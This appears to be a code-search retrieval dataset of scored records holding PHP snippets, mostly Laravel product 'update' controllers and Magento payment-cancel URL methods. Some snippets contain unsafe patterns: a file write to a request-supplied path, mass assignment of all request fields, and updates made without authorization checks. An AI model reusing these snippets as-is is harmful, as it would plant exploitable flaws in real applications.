Input::file('icon')->getClientOriginalExtension();;\n\t\t\t$folder = \"public/uploads/powerful\";\n\t\t\tInput::file('icon')->move($folder, $name);\n\t\t\t$path = $folder . '/' . $name;\n\n\t\t\t//update new path\n\t\t\t$data['icon'] = $path;\n\t\t} else {\n\t\t\tunset($data['icon']);\n\t\t}\n\n\t\t$powerful->update($data);\n\n\t\treturn Redirect::route('admin.powerful.index')->with('message', 'Item had updated!');\n\t}", "title": "" }, { "docid": "6cf2f968968fff04f96278a9288f5b34", "score": "0.54857856", "text": "public function update(Request $request, $id)\n {\n if ($this->checkRole()) {\n $product = Product::find($id);\n $product->brandName = $request->Input('brandName');\n $product->medicalName = $request->Input('medicalName');\n $product->price = $request->Input('price');\n $product->buying_price = $request->Input('buying_price');\n $product->reorder_level = $request->Input('reorder_level');\n if ($request->hasFile('image')) {\n $oldFilename = 'public/product_images/' . $product->image;\n $product->image = $this->filenameToStore($request);\n Storage::delete($oldFilename);\n }\n $product->save();\n $product->suppliers()->sync($request->suppliers);\n\n return redirect('/products')->with('success', 'Product Details Saved Successfully!');\n } else {\n return redirect()->route('home');\n }\n\n }", "title": "" }, { "docid": "57e8a233d0abf833c408dd0277ccd310", "score": "0.5483825", "text": "public function update($id)\n {\n\n //VALIDATE FIELDS\n $validator = Validator::make(request()->all(),\n [\n 'title' => 'required|max:255',\n 'slug' => 'required|max:255',\n ]);\n\n //IF INVALID\n if($validator->fails()){ \n return $this->respondInvalid('Error with validation.', $validator->errors());\n }\n\n //IF VALID\n else { \n try {\n //Update \n $data2 = [\n 'slug' => request('slug'), \n 'title' => request('title'), \n 'status' => request('status'),\n 'description' => request('description'),\n 'user_id' => Auth::user()->id, \n ];\n\n $data = [\n 'pages' => request('pages'), \n 'body' => request('body'),\n ];\n\n $resource = Article::find($id);\n //var_dump($resource);\n $tags = [];\n\n //If new tags then create and add for sync\n foreach(json_decode(request('tags')) as $tagK => $tagV){\n if(!empty($tagV->create) && $tagV->create){\n if($tag = Tag::firstOrCreate([\n 'title' => $tagV->value,\n 'slug' => str_slug($tagV->value),\n ]))\n {\n $tag->resources()->sync($id);\n $tags[] = $tag->id;\n }\n }\n else {\n $tags[] = $tagV->value;\n }\n }\n\n if($resource->update($data) && $resource->resource->update($data2) && $resource->resource->tags()->sync($tags)) \n {\n return $this->respondSuccess('Successful edit.');\n }\n }\n catch(\\Illuminate\\Database\\QueryException $e){\n $errorCode = $e->errorInfo[1];\n\n switch ($errorCode) {\n //1062 == Duplicate entry for unique MySQL\n case 1062: \n return $this->respondDuplicate('Duplicate Entry.', ['error'=>'This entry already exists.', 'message'=> $e]); \n break;\n default:\n return $this->respondError(null, ['error'=> $errorCode, 'message'=>$e]); \n break;\n }\n }\n }\n }", "title": "" }, { "docid": "317ca96a233f05a742b57399bd2b3542", "score": "0.54833144", "text": "public function update(Request $r, $id)\n {\n $p = Product::find($id);\n $p->stock = $r->input('stock');\n $p->save();\n alert()->success('Success', 'Data successfully updated');\n return redirect()->route('emptyProduct.index');\n }", "title": "" }, { "docid": "23ad4f3da087bda842fa1ac21c33815f", "score": "0.5481742", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->quantity = $request->quantity;\n\n $image = $request->file('image');\n if ($image) {\n if (File::exists($product->image)) {\n File::delete($product->image);\n }\n }\n\n $imagename = $image->getClientOriginalName();\n $imagesize = $image->getClientSize();\n $ext = $image->getClientOriginalExtension();\n\n $image_title = uniqid().time().'.'.$ext;\n $image->move('images/products/', $image_title);\n $product->image = \"images/products/\".$image_title;\n\n $product->save();\n\n session()->flash('success', 'Product updated successfully');\n return redirect()->route('supplier.home');\n }", "title": "" }, { "docid": "a01ea56f337a0cca2a7f8b0fb86e58d0", "score": "0.54794407", "text": "public function update(Request $request, $id)\n {\n\t\t$product = Product::find($id);\n\n\t\t$this->valid($request);\n\n\t\t$field = [\n\t\t\t'uuid',\n\t\t\t'name',\n\t\t\t'price',\n\t\t\t'description',\n\t\t];\n\n\t\tif ($request->product_photo) {\n\t\t\t$request->request->add([\n\t\t\t\t'rule' => [\n\t\t\t\t\t'product_photo' =>\n\t\t\t\t \t'required|image|mimes:jpeg,png,jpg|max:2048',\n\t\t\t\t]\n\t\t\t]);\n\n\t\t\t$this->valid($request);\n\n\t\t\t$upload = $request->file('product_photo')->store('assets/img');\n\n\t\t\tif ($product->photo != '/assets/img/default.jpg') {\n\t\t\t\t@unlink(public_path().$product->photo);\n\t\t\t}\n\n\t\t\tarray_push($field, 'photo');\n\n\t\t\t$request->request->add([\n\t\t\t\t'photo' => '/'.$upload\n\t\t\t]);\n\t\t}\n\n\t\tProduct::where('id', $id)\n\t\t\t->update($request->only($field));\n\n\t\treturn redirect()->route('product.index')->with([\n\t\t\t'success' => 'Data Changed'\n\t\t]);\n }", "title": "" }, { "docid": "ba14e6d76f18913118873dc455ddf07e", "score": "0.547496", "text": "public function update(UpdateProductRequest $request, Product $product)\n {\n //\n try {\n $originImage= $product->image;\n $product->fill($request->except(['category', 'supplier']));\n $product->image = $originImage;\n if ($request->image) {\n $oldImage = $product->image;\n $imageEncodeBase64 = $request->image;\n $postion = strpos($imageEncodeBase64, ';');\n $ext = explode('/', substr($imageEncodeBase64, 0, $postion))[1];\n $fileName = Str::uuid() . '.' . $ext;\n $filePath = public_path('storage/product') . '/' . $fileName;\n Image::make($imageEncodeBase64)->resize(200, 240)->save($filePath);\n $product->image = \"product/$fileName\";\n $filePath = public_path('storage/'.$oldImage);\n if(file_exists($filePath)){\n unlink($filePath);\n }\n }\n $product->save();\n return response()->success(new ProductResource($product));\n } catch (\\Throwable $ex) {\n return response()->error($ex->getMessage());\n }\n }", "title": "" }, { "docid": "cb574ee109ef0c4933aff2189613ba88", "score": "0.5467008", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (!$product) return new Response([\n 'result' => 'fail',\n 'message' => 'product not found'\n ]);\n\n $data = Input::all();\n\n foreach ($data as $key => $value) {\n if ($key === 'price') {\n $product->$key = $value*100;\n } else {\n $product->$key = $value;\n }\n }\n $product->save();\n return new Response(new ProductResource($product));\n }", "title": "" }, { "docid": "748d9e839dc1aa55917e22860bfd0666", "score": "0.54659873", "text": "public function update(Request $request, $id, $parent = null)\n {\n extract($this->getResourceNames());\n\n if(!is_null($parent))\n {\n $item = $modelPath::findOrFail($parent);\n $parent = $this->parentModelPath::findOrFail($id);\n } else {\n $item = $modelPath::findOrFail($id);\n }\n\n $validated = $this->resolveRequest('Update')->validated();\n\n $item->update($request->all());\n\n $this->notify($resourceMultiple . '.edited');\n\n return redirect()->back();\n }", "title": "" }, { "docid": "47bbce92661ab4fdf29441a5eabbeea2", "score": "0.5462897", "text": "public function update(Request $request, $id)\n {\n $update = Supplier::find($id);\n $update->name = $request->name;\n $update->slug = strtolower(str_replace(' ', '-',$request->name));\n $update->email = $request->email;\n $update->phone = $request->phone;\n $update->address = $request->address;\n $update->shop_name = $request->shop_name;\n\n if ($request->hasFile('photo')) {\n $image = $request->file('photo');\n $img = time() . '.'. $image->getClientOriginalExtension();\n $location = public_path('backend/assets/images/supplier/'.$img);\n Image::make($image)->resize(300,300)->save($location);\n $update->photo = $img;\n }\n $update->save();\n toast('Supplier Information Add Successfully','success');\n return redirect()->route('index.supplier');\n }", "title": "" }, { "docid": "e69ca8d6b4021523c67416bb5a8e3871", "score": "0.54627603", "text": "public function update($newpaht){}", "title": "" }, { "docid": "13060cd318eed312852c00ed17885787", "score": "0.5460793", "text": "public function update($object)\n {\n }", "title": "" }, { "docid": "f684d143c5cb5e0fd840b77e6b10f6c8", "score": "0.5460385", "text": "public function update(Request $request, $id)\n { \n $product = Product::find($id);\n $product->name = $request->name;\n $product->name = $request->name;\n $product->description = $request->description;\n $product->save();\n if($request->hasFile('image')){\n $file = $request->file('image');\n $name = time().'.jpg';\n $file->move(public_path('//images//'), $name);\n $image = Image::find($id);\n $image->path = '/images/'.$name;\n $image->save();\n return response()->json(['message'=>'Producto Modificado Satisfactoriamente', $product ,'image'=>$image,]);\n }\n return response()->json(['message'=>'Producto Modificado Satisfactoriamente', $product]);\n }", "title": "" }, { "docid": "6bbf67d9e29ef7e592b60af7e38a778c", "score": "0.54592675", "text": "public function update($resource, $attributes, $exec = false)\n {\n if (!$exec) {\n return $this->beforeUpdate($resource, $attributes);\n }\n\n return DB::transaction(function () use ($resource, $attributes) {\n $attributes = $this->updateAttributes($attributes);\n\n /** @var Model $resource */\n $resource = $this->fill($resource, $attributes, true);\n $resource->save();\n\n return $this->afterUpdate($resource, $attributes);\n });\n }", "title": "" }, { "docid": "a1d61f0aa122378fb9049378295f5945", "score": "0.54586715", "text": "public function update($entity)\n {\n }", "title": "" }, { "docid": "a1d61f0aa122378fb9049378295f5945", "score": "0.54586715", "text": "public function update($entity)\n {\n }", "title": "" }, { "docid": "dfb253684824fdc309f2bee7ce671811", "score": "0.5456903", "text": "public function update(Request $request, $id)\n {\n $imagenes=new Imagen();\n $imagenes=Imagen::findOrFail($id);\n $imagenes->descripcion=$request->input('descripcion');\n $imagenes->precio=$request->input('precio');\n $imagenes->categoria=$request->input('categoria');\n $foto=$request->file('foto');\n if($foto){\n $image_path=$foto->getClientOriginalName();\n Storage::disk('s3')->put($image_path,\\File::get($foto));\n $imagenes->foto=$image_path;\n }\n $imagenes->update();\n return redirect()->route('welcome');\n }", "title": "" }, { "docid": "6c0c4f37dc5881fde1e7b8d7f270ec97", "score": "0.544714", "text": "public function update($id) {\n\n }", "title": "" }, { "docid": "f2d8cf4532904fd7bfbac2bd62a96a68", "score": "0.54469514", "text": "public function update(Request $request, $id)\n {\n $input = $request->all();\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required',\n ]);\n if ($request->hasFile('icon')) {\n $path = $request->icon->store('public/images');\n $input['icon'] = $path;\n }\n $block = FourBlock::find($id);\n $block->fill($input)->save();\n toastr()->success('Block has been updated successfully');\n return redirect()->route('fourblock.index');\n }", "title": "" }, { "docid": "24ebeddd4ada07f9b5b94ce822155042", "score": "0.5442551", "text": "public function update(Request $request, $id)\n {\n $product= Product::find($id);\n $this->authorize('update',$product);\n $product->fill($request->all());\n $product->save();\n return redirect('productos');\n }", "title": "" }, { "docid": "0073ba64b443f80ace8779c23d638758", "score": "0.54424137", "text": "public function update(StorePoductRequest $request, Product $product, $id)\n {\n $updated_datas = $request->except(['_method','_token']);\n $prod_to_update = Product::where('id',$id);\n $updated = $prod_to_update->update($updated_datas);\n if($prod_to_update){\n return redirect('/admin/products')->with('status', 'A termék sikeresen frissítve!');\n }\n\n }", "title": "" }, { "docid": "a3e811a8bb8418f3ddeffce2fb72454a", "score": "0.5440816", "text": "public function testUpdateEndpoint()\n {\n $product = factory(Product::class)->create();\n $data = $product->toArray();\n $data['name'] = \"{$product->name} 2\";\n $user = factory(User::class)->create();\n $user->assignRole('admin');\n\n $response = $this->actingAs($user)\n ->putJson(\n \"/api/admin/products/{$product->uuid}\",\n $data\n );\n $response->assertStatus(200);\n $response->assertJsonFragment([\n 'name' => $data['name'],\n 'uuid' => $product->uuid,\n ]);\n }", "title": "" }, { "docid": "2b54bef0cb09abd830d8673bfdd3df4e", "score": "0.5435874", "text": "public function update(ProductRequest $request, $id)\n {\n $inputs = $request->except(['_method', '_token']);\n if ($request->hasFile('poster')) {\n $poster = $request->file('poster');\n $new_name = uniqid(mb_strimwidth($poster->getClientOriginalName(), 0, 3, '_')) . '.' . $poster->getClientOriginalExtension();\n\n $img = Image::make($poster);\n $img->insert(public_path().'/images/watermark.png', 'center');\n $img->save(public_path() . '/images/' . $new_name);\n\n File::delete('images/' . $inputs['old_poster']);\n $inputs['poster'] = $new_name;\n unset($inputs['old_poster']);\n } else {\n $inputs['poster'] = $inputs['old_poster'] ?? null;\n unset($inputs['old_poster']);\n }\n if ($inputs['available'] === 'yes') {\n $inputs['available'] = 1;\n } else {\n $inputs['available'] = 0;\n }\n $update_product = Product::find($id);\n $update_product->fill($inputs);\n if ($update_product->update()) {\n return redirect()->route('product.index')->with('status', 'Product successfully updated !!!');\n }\n }", "title": "" }, { "docid": "f71584ef2ac9d0aab6b54094e7b315c4", "score": "0.543238", "text": "public function update()\n {\n $this->executeActions(true);\n $this->saveData();\n $this->reset(); // reset pending changes\n }", "title": "" }, { "docid": "c46d525d33c8870edde305d0ee17d4ed", "score": "0.54304767", "text": "public function update(Request $request, $id)\n {\n\n\n $request->validate([\n 'name' => 'required',\n 'description' => 'required',\n 'price' => 'required',\n 'id_category' => 'required',\n 'strok' => 'required',\n 'img' => 'required|image|max:2044',\n\n ]);\n\n\n\n $product = Product::findOrFail($id);\n $product->fill($request->all());\n\n //pregunta si la imagen ya exite\n if ($request->hasFile('img')) {\n\n //elimina la imagen\n Storage::delete($product->img);\n\n $image = $request->file('img')->storeAs('public/img', $product->name . '2'.'.jpg');\n\n\n }\n\n $img = Storage::url($image);\n\n $rows = DB::table('products')\n ->where('id', $request->id)\n ->update([\n 'name' => $request->name,\n 'description' => $request->description,\n 'price' => $request->price,\n 'id_category' => $request->id_category,\n 'stock' => $request->stock,\n 'img' => $img,\n\n ]);\n return back()->with('mensaje', '¡Producto editado con exito!');\n }", "title": "" }, { "docid": "eaa583782a682873861569b9b98dc81c", "score": "0.5430323", "text": "public function updateEntity(Entity $entity);", "title": "" }, { "docid": "c0f0939bd5f8a0a097229e2d80aa0d31", "score": "0.54244024", "text": "public function update( $id, $name, $identifier );", "title": "" }, { "docid": "fd04bb969b17f620907a080e9e26f6ab", "score": "0.5421991", "text": "public function update(Request $request, $id)\n {\n //\n if($request->get('file') != '' ){\n $img = str_replace('data:image/jpeg;base64,','',$request->get('file'));\n $img = str_replace(' ','+',$img);\n echo file_put_contents(storage_path().$request->get('img_product'), base64_decode($img));\n } \n\n $product = Product::find($id); \n $product->name_product = $request->get('name_product');\n $product->cost_product = $request->get('cost_product');\n $product->price_product = $request->get('price_product');\n \n $product->save();\n return $product;\n\n }", "title": "" }, { "docid": "9f31b47ab07ed8f7effea689ae758174", "score": "0.5420852", "text": "public function update()\n {\n $this->getDataBackend()->update();\n }", "title": "" }, { "docid": "336bb2ab11980d312dc3ebdfdf92ee79", "score": "0.5418655", "text": "public function update(Request $request, $id)\n {\n $validateData = $request->validate([\n 'al_desc'=>'required|string',\n 'tr_desc'=>'required|string',\n 'stock'=>'required',\n 'age'=>'required',\n 'pur_price'=>'required',\n 'sale_price'=>'required',\n 'image' => 'required|image|max:2048',\n ]);\n\n $article = Articles::where('id', $id)\n ->first();\n\n $image_path = public_path(\"images/{$article->image}\");\n\n if (File::exists($image_path)) {\n unlink($image_path);\n $image = $request->file('image');\n $filename = $image->getClientOriginalName();\n $image->move(public_path('images'), $filename);\n $article->image = $request->file('image')->getClientOriginalName();\n }\n\n $articleStock = $request->input('stock');\n $article->al_desc = $request->input('al_desc');\n $article->tr_desc = $request->input('tr_desc');\n $article->stock = $request->input('stock');\n $article->age=$request->input('age');\n $article->pur_price=$request->input('pur_price');\n $article->sale_price=$request->input('sale_price');\n $article->prime_stock +=$articleStock;\n $article->save();\n\n return redirect()->route('articles.index')->with('success','Article Updated Successfully');\n }", "title": "" }, { "docid": "9f4a5e931ad31bad773803c3dc4cda90", "score": "0.5416135", "text": "public function update(Request $request, $id)\n {\n if($request->hasFile('image')){\n\n $filename = $this->productImage($request->file('image'));\n \n }else{\n\n $recent = Product::findOrFail($id);\n $filename = $recent->image;\n }\n\n $product = new Product;\n Product::where('id', $id)->update($product->productData($request->toArray())+['status' => true, 'image' => $filename]);\n\n return redirect()->route('products.index')->with('success', 'product successfully updated');\n }", "title": "" }, { "docid": "b55b4c2da5ca8dec48b36986ba4711ee", "score": "0.54155767", "text": "public function update(Request $request, Product $product)\n\n {\n\n $input = $request->all();\n\n\n\n $validator = Validator::make($input, [\n\n 'name' => 'required',\n\n 'price' => 'required',\n\n 'stock' => 'required',\n\n 'shortDesc' => 'required',\n\n 'description' => 'required'\n\n ]);\n\n\n\n\n\n if($validator->fails()){\n\n return $this->sendError('Validation Error.', $validator->errors());\n\n }\n\n\n\n $product->name = $input['name'];\n\n $product->price = $input['price'];\n\n $product->stock = $input['stock'];\n\n $product->shortDesc = $input['shortDesc'];\n\n $product->description = $input['description'];\n\n\n\n $product->save();\n\n\n\n return $this->sendResponse(new ProductResource($product), 'Product updated successfully.');\n\n }", "title": "" }, { "docid": "fa4d35fe272f742ecbc45d6ae01985ba", "score": "0.5411923", "text": "public function update(Request $request, $id)\n {\n \n $validator = Validator::make($request->all(),[\n 'name' => 'required|string|max:255',\n 'user_id' => 'required|exists:App\\Models\\User,id',\n 'category_id' => 'required|exists:App\\Models\\Category,id',\n 'description' => 'required',\n 'price' => 'required',\n 'photo' => 'image'\n\n ]);\n\n if($validator->fails()){\n return response()->json($validator->errors()); \n }\n \n $product = Product::find($id);\n $product -> name = $request['name'];\n $product -> user_id = $request['user_id'];\n $product -> category_id = $request['category_id'];\n $product -> description = $request['description'];\n $product -> price = $request['price'];\n\n if($request->hasFile('photo')){\n if(File::exists(public_path(\"storage/\").$product -> photo)){\n File::delete(public_path(\"storage/\").$product -> photo);\n }\n $product -> photo=$request->photo->store('photo');\n }\n\n $product -> save();\n\n return response()\n ->json(['success' => 1,'message' => 'Updated succesfully!']);\n }", "title": "" }, { "docid": "89da7206a99a87abc155c6008d48f6f4", "score": "0.5410531", "text": "public function _update() {\n\t\t$this->_data['_rev'] = $this->_adapter->save($this, Zend_Http_Client::PUT);\n\t\treturn $this->getId();\n\t}", "title": "" }, { "docid": "daa5dabd0608fa1791ffe3d1866a3e16", "score": "0.5410523", "text": "public function update(StoreUpdateProductRequest $request, $id)\n {\n \n $product = $this->repository->find($id);\n if(!$product){\n return redirect()->back();\n }\n\n $data = $request->all();\n\n // Upload de Imagem \n if($request->hasFile('image') && $request->image->isValid()){\n\n /** Verifica se o arquivo existe */\n if($product->image && Storage::exists($product->image)){\n /** Deleta o arquivo */\n Storage::delete($product->image);\n }\n // Salvando imagem e passando o caminho da imagem\n $imagePath = $request->image->store('products');\n\n // Passando o nome da imagem para armazenar no banco\n $data['image'] = $imagePath;\n }\n\n $product->update($data);\n return redirect()->route('product.index');\n }", "title": "" }, { "docid": "8cc682b417e81303d02cf6c27cfcadc5", "score": "0.540968", "text": "public function update(Request $request, $id)\n {\n $prds = Product::find($id);\n $prds->nombre = $request->input('nombre');\n if ($request->hasFile('foto')) {\n $file = time().'.'.$request->foto->extension();\n $request->foto->move(public_path('imgs'), $file);\n $prds->foto = \"imgs/\".$file;\n }\n $prds->directory_id = $request->input('directory_id');\n if($prds->save()) {\n return redirect('directories')\n ->with('status', 'La Noticia '.$prds->nombre.' se modifico con Exito!');\n }\n }", "title": "" }, { "docid": "a44c6c541eae25f18bc1eedd4d260d74", "score": "0.54082763", "text": "public function update($name, $object)\n {\n }", "title": "" }, { "docid": "8f9ad063c18a5eeb38cd6267a01f3028", "score": "0.5403173", "text": "public function update($id)\n {\n \n }", "title": "" }, { "docid": "8f9ad063c18a5eeb38cd6267a01f3028", "score": "0.5403173", "text": "public function update($id)\n {\n \n }", "title": "" } ]
0eb937347bf18451596885029320c982
Url where the payer would be redirected to after canceling the payment.
[ { "docid": "ba89f1b843c11b99872c32b0307b7e7b", "score": "0.7058869", "text": "public function getCancel_url() {\n\t\treturn $this->cancel_url;\n\t}", "title": "" } ]
[ { "docid": "7f8d4d9974fe72329beab176a1e7fa19", "score": "0.79415405", "text": "public function cancelUrl(): string\n {\n return Request::url() . '?' . http_build_query([\n 'return' => 'cancel',\n 'oc-mall_payment_id' => $this->getPaymentId(),\n ]);\n }", "title": "" }, { "docid": "6738caf36a9ba6eca0668043decc112f", "score": "0.7758468", "text": "public final function getCancelUrl()\n {\n return Mage::getUrl('made_dibs/gateway/cancel',\n array('_secure' => true));\n }", "title": "" }, { "docid": "e7adc8e5466447e5cd3b1959a5e88df1", "score": "0.74564546", "text": "public function getCancelUrl() {\n return $this->getReturnUrl();\n }", "title": "" }, { "docid": "8b219dd9046da738ea3b5713d892b34a", "score": "0.74375355", "text": "public function get_cancel_url() {\n\t\t$cancel_url = add_query_arg(\n\t\t\tarray(\n\t\t\t\t'subscription' => $this->get_id(),\n\t\t\t\t'key' => $this->get_key(),\n\t\t\t\t'action' => 'cancel',\n\t\t\t), home_url()\n\t\t);\n\n\t\treturn $cancel_url;\n\t}", "title": "" }, { "docid": "88e1f15ecf9d924f1e24569cfab6dd77", "score": "0.7123271", "text": "public function getErrorUrl()\n {\n return $this->_getUrl('oggetto_payment/payment/cancel');\n }", "title": "" }, { "docid": "8ff6fc96c56452d12aa991f0731ea2d3", "score": "0.7103904", "text": "public function getCancelUrl()\n {\n // TODO: Implement getCancelUrl() method.\n }", "title": "" }, { "docid": "ccebd6eb772a8c2ab5db01d5af5f1fc1", "score": "0.7057847", "text": "public function getCancelUrl() {\n\t\treturn $this->cancel_url;\n\t}", "title": "" }, { "docid": "d02e652ba81167ab3883152b4bccc525", "score": "0.6928469", "text": "public function executePayPalCancel(sfWebRequest $request) \n {\n // redirect back to the homepage\n $this->redirect(\"/\");\n }", "title": "" }, { "docid": "4759ade46e2ae8123285972cdbc663f7", "score": "0.6854592", "text": "public function getVoidPaymentUrl()\n {\n return $this->getUrl('*/*/voidPayment');\n }", "title": "" }, { "docid": "67b92ed04361231c2068c966812b67fd", "score": "0.67746615", "text": "public function getBackUrl()\n {\n return $this->getUrl('customer/creditcard/index');\n }", "title": "" }, { "docid": "a11906ccaf0d4f931b716ac935388d05", "score": "0.66974545", "text": "public function getRedirectUrl()\n {\n return $this->request->getTestMode()\n ? 'https://sslpayment.cathaybkdev.com.tw/EPOSService/Payment/OrderInitial.aspx'\n : 'https://sslpayment.uwccb.com.tw/EPOSService/Payment/OrderInitial.aspx';\n }", "title": "" }, { "docid": "d9850236eaf895aa84eb560360217665", "score": "0.66831875", "text": "function cancel() {\n\n\t\tif (KRequest::getVar('return')) {\n\t\t\t$url = KLink::base64UrlDecode(KRequest::getVar('return'));\n\t\t}\n\t\telse {\n\t\t\t$controllerName = KenedoController::getControllerNameFromClass(get_class($this));\n\t\t\t$url = KLink::getRoute('index.php?option='.$this->component.'&controller='.$controllerName, false);\n\t\t}\n\n\t\t$this->setRedirect($url);\n\n\t}", "title": "" }, { "docid": "e82f8738d08e7558d84c1178e804363d", "score": "0.66595805", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('opcreditcard/payment/redirect', array('_secure' => true));\n }", "title": "" }, { "docid": "1dd70b9a0fc17a0c240fac61ce3c8d07", "score": "0.66561604", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('webpay/payment/redirect', array('_secure' => true));\n }", "title": "" }, { "docid": "cf90edae05ac64d5f5c94450454021b6", "score": "0.6627591", "text": "public function getRedirectUrl()\n {\n return $this->_scopeConfig->getValue('payment/pagseguro/redirect');\n }", "title": "" }, { "docid": "130b78945f40d11adb39d88ce0cd5858", "score": "0.66212016", "text": "protected function getRedirectUrl()\n {\n return app(UrlGenerator::class)->previous();\n }", "title": "" }, { "docid": "abd94a82589ddeddfd229081a9d75740", "score": "0.6616956", "text": "public function getOrderPlaceRedirectUrl()\n\t{\n return Mage::getUrl('hostedpayments/processing/pay');\n\t}", "title": "" }, { "docid": "90072bc577723a26f3977928ce066502", "score": "0.66066545", "text": "public function getCheckoutRedirectUrl()\n {\n return Mage::getUrl('paypal/express/start');\n }", "title": "" }, { "docid": "5035529130d7dbc2b58ba5229f136a83", "score": "0.65892226", "text": "public function Cancel( Request $request )\n {\n try {\n\n # Go to billing index with errors\n return redirect()\n ->route('desk.billing')\n ->with([\n 'message' => __('The payment was canceled.')\n ]);\n\n } catch ( PaymentException $e ){\n\n Log::error( $e );\n\n # Go to billing index with errors\n return redirect()\n ->route('desk.billing')\n ->with([\n 'message' => __('Sorry, something was bad. If you have problems, contact support.')\n ]);\n }\n }", "title": "" }, { "docid": "b6ae4e89e3019ee84747a9afd0ebd56f", "score": "0.65884966", "text": "public function cancelAction()\n\t{\n\t\t$this->_redirect('checkout/onepage/failure');\n\t}", "title": "" }, { "docid": "22969ffb85df956ab73624c8e81d5c44", "score": "0.65669936", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('Fashionpay/payment/redirect');\n }", "title": "" }, { "docid": "cbf89eb611fad4fd97f4b07e362b8701", "score": "0.65569127", "text": "public function cancel()\r\n\t{\r\n\t\t$this->setRedirect('index.php?option=com_conepage');\r\n\t}", "title": "" }, { "docid": "e08633217ff22505d19248899393ade8", "score": "0.65167844", "text": "public function get_cancel_url( $order ) {\n\t\t$return_url = $order->get_cancel_order_url();\n\n\t\tif ( is_ssl() || get_option( 'woocommerce_force_ssl_checkout' ) == 'yes' ) {\n\t\t\t$return_url = str_replace( 'http:', 'https:', $return_url );\n\t\t}\n\n\t\t/** DOCBLOCK - Makes linter happy.\n\t\t * \n\t\t * @since today\n\t\t*/\n\t\treturn apply_filters( 'woocommerce_get_cancel_url', $return_url, $order );\n\t}", "title": "" }, { "docid": "b904be0e9f48501348825ae438c13296", "score": "0.647802", "text": "public function getBackUrl()\n {\n return $this->getUrl('question/customer');\n }", "title": "" }, { "docid": "0f410e141accfce9f5ca647f6f1f3fa5", "score": "0.6473801", "text": "function action()\n {\n return common_local_url('cancelrsvp');\n }", "title": "" }, { "docid": "4843bfb67e5e0d2dd39f63dd02f9684c", "score": "0.64723617", "text": "public function getOrderPlaceRedirectUrl()\n {\n if($this->_getHelper()->isRedirectMode()) {\n $paymentUrl = Mage::getSingleton('core/session')->getPicpayPaymentUrl();\n\n if ($paymentUrl) {\n return $paymentUrl;\n }\n else {\n Mage::throwException($this->_getHelper()->__(\"Invalid payment url\"));\n }\n }\n\n $isSecure = Mage::app()->getStore()->isCurrentlySecure();\n return Mage::getUrl('checkout/onepage/success', array('_secure' => $isSecure));\n }", "title": "" }, { "docid": "84ca0e2f858b5577a74e1c94a97a513e", "score": "0.6458732", "text": "public function getOrderPlaceRedirectUrl()\n {\n //The form of the Payment Gateway will be displayed to him\n return Mage::getUrl('mypaymentmethod1/payment/redirect', array('_secure' => false));\n }", "title": "" }, { "docid": "967f5d02cb03a450984113820990a25d", "score": "0.64572656", "text": "public function actionPaypalCancel($payment_id) {\n /*Do what you want*/ \n }", "title": "" }, { "docid": "e17cd407dd11cc135b3297078aa8f48e", "score": "0.64546204", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('made_dibs/gateway/redirect',\n array('_secure' => true));\n }", "title": "" }, { "docid": "b74352c7689f2adf3808a50aab6d6f5c", "score": "0.6432363", "text": "public function getOrderPlaceRedirectUrl()\n {\n return $this->getConfig()->getPaymentRedirectUrl();\n }", "title": "" }, { "docid": "44d2f0109589574a18b6318f84b68f72", "score": "0.6432136", "text": "public function getBackUrl()\n {\n return $this->getUrl('review/customer');\n }", "title": "" }, { "docid": "5c28b47d143913c463da563216b8c597", "score": "0.63823503", "text": "public function get_assessment_back_url()\n {\n return null;\n }", "title": "" }, { "docid": "c5a26b2acc8e3183c3aef13db8eb1dd1", "score": "0.6375211", "text": "private function merchantPageCancel()\n {\n $cart = $this->context->cart;\n\n $customer = new Customer($cart->id_customer);\n\n if (!Validate::isLoadedObject($customer) || !isset($this->module->currentOrder)) {\n $error_message = $this->module->l('You have cancelled the payment, please try again.');\n\n $id_order = $this->module->currentOrder;\n if (! $id_order || null == $id_order || empty($id_order)) {\n $id_order = Context::getContext()->cookie->__get('aps_apple_order_id');\n $this->aps_payment->refillCart($id_order);\n $this->aps_helper->log('refill cart and merchantPageCancel called');\n }\n Context::getContext()->cookie->apsErrors = $error_message;\n Tools::redirect('index.php?controller=order&step=1');\n }\n $this->aps_payment->merchantPageCancel();\n $objOrder = new Order($this->module->currentOrder);\n if ($objOrder) {\n $this->aps_payment->refillCart($objOrder->id);\n $error_message = $this->module->l('You have cancelled the payment, please try again.');\n Context::getContext()->cookie->apsErrors = $error_message;\n $this->aps_helper->log('merchantPageCancel called');\n\n Tools::redirect('index.php?controller=order&step=1');\n } else {\n $error_message = $this->module->l('You have cancelled the payment, please try again.');\n Context::getContext()->cookie->__set('aps_error_msg', $error_message);\n Tools::redirect(\n 'index.php?fc=module&module=amazonpaymentservices&controller=error&action=displayError'\n );\n }\n }", "title": "" }, { "docid": "06279ca4a0917785e5c42bf937b1a5ad", "score": "0.6362422", "text": "public function getBackUrl(): string\n {\n $customerId = $this->request->getParam(ResultInterface::CUSTOMER_ID);\n return $customerId ?\n $this->getUrl('customer/index/edit', ['id' => $customerId]) :\n $this->getUrl('*/*/', [FormInterface::ID => $this->registry->registry('webforms_form')->getId()]);\n }", "title": "" }, { "docid": "a7e021955195de47dd50ea5fb3907f1e", "score": "0.6342752", "text": "public function getBackUrl()\n {\n // the RefererUrl must be set in appropriate controller\n if ($this->getRefererUrl()) {\n return $this->getRefererUrl();\n }\n return $this->getUrl('customer/account/');\n }", "title": "" }, { "docid": "bed04fd92cfcf9303e164594b3adfc78", "score": "0.6304339", "text": "public function getRedirectSecureUrl()\n {\n return Mage::getUrl('oggetto_payment/payment/redirect', ['_secure' => true]);\n }", "title": "" }, { "docid": "8e602103b86fe04208c41d686dd9731f", "score": "0.627529", "text": "public function cancelAction()\n {\n $session = Mage::getSingleton('checkout/session');\n $session->setQuoteId($session->getPaypalStandardQuoteId(true));\n\n $this->_redirect('checkout/cart');\n }", "title": "" }, { "docid": "86bed562a8b6c43e374daa35707b7bf4", "score": "0.6265478", "text": "public function abortAction()\n {\n /** @var $session Mage_Checkout_Model_Session */\n $session = Mage::getSingleton('checkout/session');\n $order = Mage::getModel('sales/order');\n\n 